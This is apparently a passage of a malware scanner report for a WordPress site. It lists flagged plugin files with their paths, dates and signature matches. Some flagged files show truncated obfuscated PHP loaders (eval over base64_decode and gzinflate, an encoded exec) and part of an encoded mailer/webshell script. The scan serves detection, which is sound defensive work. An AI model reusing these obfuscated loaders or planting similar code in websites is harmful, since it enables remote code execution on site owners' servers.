<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$jNs</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_253").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/foobox-image-lightbox/freemius/includes/i18n.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 50.95 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:35</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_254" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 187</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nc</span><span style="color: #007700">-</span><span style="color: #0000BB">l</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_254").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/foobox-image-lightbox/freemius/includes/class-freemius.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 874.45 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:35</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_255" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_255").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/foobox-image-lightbox/freemius/includes/sdk/FreemiusBase.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 6.12 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:35</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_256" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_256").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/foobox-image-lightbox/freemius/templates/account.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 49.70 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:35</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_257" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 101</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nc</span><span style="color: #007700">-</span><span style="color: #0000BB">l</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_257").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/foobox-image-lightbox/freemius/templates/account/partials/addon.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.64 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:35</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_258" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 41</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nc</span><span style="color: #007700">-</span><span style="color: #0000BB">l</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_258").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wxbwn/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.19 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 17:53:53</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 17:53:53</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_259" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 446</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_259").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/qlvtk/sfpel.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 14:31:25</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 14:31:25</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_260" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_260").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/qlvtk/rbizp.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 14:31:28</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 14:31:28</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_261" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
